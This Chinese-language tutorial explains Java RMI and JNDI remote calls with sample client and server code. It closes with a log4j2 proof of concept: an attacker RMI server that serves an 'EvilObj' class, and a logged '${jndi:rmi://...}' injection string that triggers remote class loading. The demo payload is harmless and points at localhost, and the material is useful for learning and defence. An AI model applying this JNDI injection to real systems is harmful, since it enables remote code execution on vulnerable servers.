JNDI与RMI使得Java实现了跨JVM的方法远程调用,即服务A可以远程调用服务B的方法。
我们一一个服务A,调用远程的另外一个服务为例,具体操作有以下两种:
- 代码在B执行
- 代码在A执行(详见log4j2漏洞)
RMI过程大体如下:
1.客户端从RMI注册表中查询并获取远程对应引用。客户端首先会与Stub进行交互,stub将远程方法所需的参数进行序列化后,传递给远程应用层RRL
2.stub和远程对象具有相同的接口和方法列表,当客户端调用远程对象时,实际是有stub对象代理的。RRL将stub本地引用转换为服务端上对象的远程引用后,再将调用传递给传输层,传输层执行TCP发送
3.RMI服务端传输层监听到请求后,将引用转发给服务端的RRL。
4.服务端RRL将客户端发送的远程应用转换为本地虚拟机引用后,传递给Skeleton。
5.Skeleton读取参数,最后由服务端进行实际方法调用。
6.如果RMI客户端调用存在返回值,则以此向下传递。
7.客户端接收到返回值后,再以此向上传递。然后由stub反序列化返回值,最终传递给RMI客户端
具体实现逻辑如下:
-
定义一个接口,具体的实现由B完成
-
A远程调用该接口的invoke方法,且在B端执行代码
public interface RemoteObj extends Remote {
//注意用于远程调用的接口必须抛出RemoteException异常
void invoke() throws RemoteException;
}
1、服务端B:
//必须继承UnicastRemoteObject类
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
protected RemoteObjImpl() throws RemoteException {
}
@Override
public void invoke() throws RemoteException {
System.out.println("B的代码被执行...");
}
}
public class B {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(1111);
RemoteObj obj = new RemoteObjImpl();
registry.rebind("obj", obj);
System.out.println("RMI服务端已启动...");
}
}
2、客户端A:
public class A {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1111);
RemoteObj obj = (RemoteObj) registry.lookup("obj");
obj.invoke();
System.out.println("A远程调用了B");
}
}
3、先运行B,再运行A,结果如下:
也可以通过Naming实现:
public class B {
public static void main(String[] args) throws Exception{
//注册rmi端口
LocateRegistry.createRegistry(1111);
//绑定对象
RemoteObj obj = new RemoteObjImpl();
Naming.bind("rmi://127.0.0.1:1111/obj", obj);
}
}
public class A {
public static void main(String[] args) throws Exception {
RemoteObj obj = (RemoteObj) Naming.lookup("rmi://127.0.0.1:1111/obj");
obj.invoke();
}
}
我们看下Naming的bind、lookup方法源码:
public final class Naming {
//客户端查找
public static Remote lookup(String name)
throws NotBoundException,
java.net.MalformedURLException,
RemoteException
{
ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);
if (parsed.name == null)
return registry;
return registry.lookup(parsed.name);
}
//服务端注册
public static void bind(String name, Remote obj)
throws AlreadyBoundException,
java.net.MalformedURLException,
RemoteException
{
ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);
if (obj == null)
throw new NullPointerException("cannot bind to null");
registry.bind(parsed.name, obj);
}
}
四、客户端使用JNDI来远程调用
JNDI(JAVA Naming And Directory Interface)是Java命名和目录接口,应用程序可以通过JNDI API去调用其他资源,包括JDBC、LDAP、RMI、DNS、NIS、windows注册表等等。JNDI将不同的资源进行统一封装,形成一套API,通过这套API,应用程序可以不用关心需要交互的资源细节,方便快捷的与资源进行交互,从而降低开发难度,提高开发效率。
JNDI客户端:
public class A {
public static void main(String[] args) throws Exception {
Properties properties = new Properties();
properties.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
properties.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1111");
Context ctx = new InitialContext(properties);
RemoteObj obj = (RemoteObj) ctx.lookup("rmi://127.0.0.1:1111/obj");
obj.invoke();
}
}
五、log4j2漏洞
我们结合最近的log4j2漏洞,可以实现远程拉取代码,到本地执行:
1、黑客编写代码:
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1111);
Reference reference = new Reference("com.test.EvilObj", "com.test.EvilObj", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.rebind("evil", wrapper);
System.out.println("RMI服务已经启动....");
}
}
有害代码类:
public class EvilObj implements ObjectFactory {
static {
System.out.println("一段代码执行了...");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
System.out.println("工厂方法被调用");
return new EvilObj();
}
}
或
public class EvilObj {
static {
System.out.println("一段代码执行了...");
}
}
2、通过log4j2漏洞攻击
public class Main {
private static final Logger logger = LoggerFactory.getLogger(Main.class);
public static void main(String[] args) {
String username = "${jndi:rmi://127.0.0.1:1111/evil}";
logger.info("username is:{}", username);
}
}
参考:https://www.cnblogs.com/tridentj/p/15273260.html



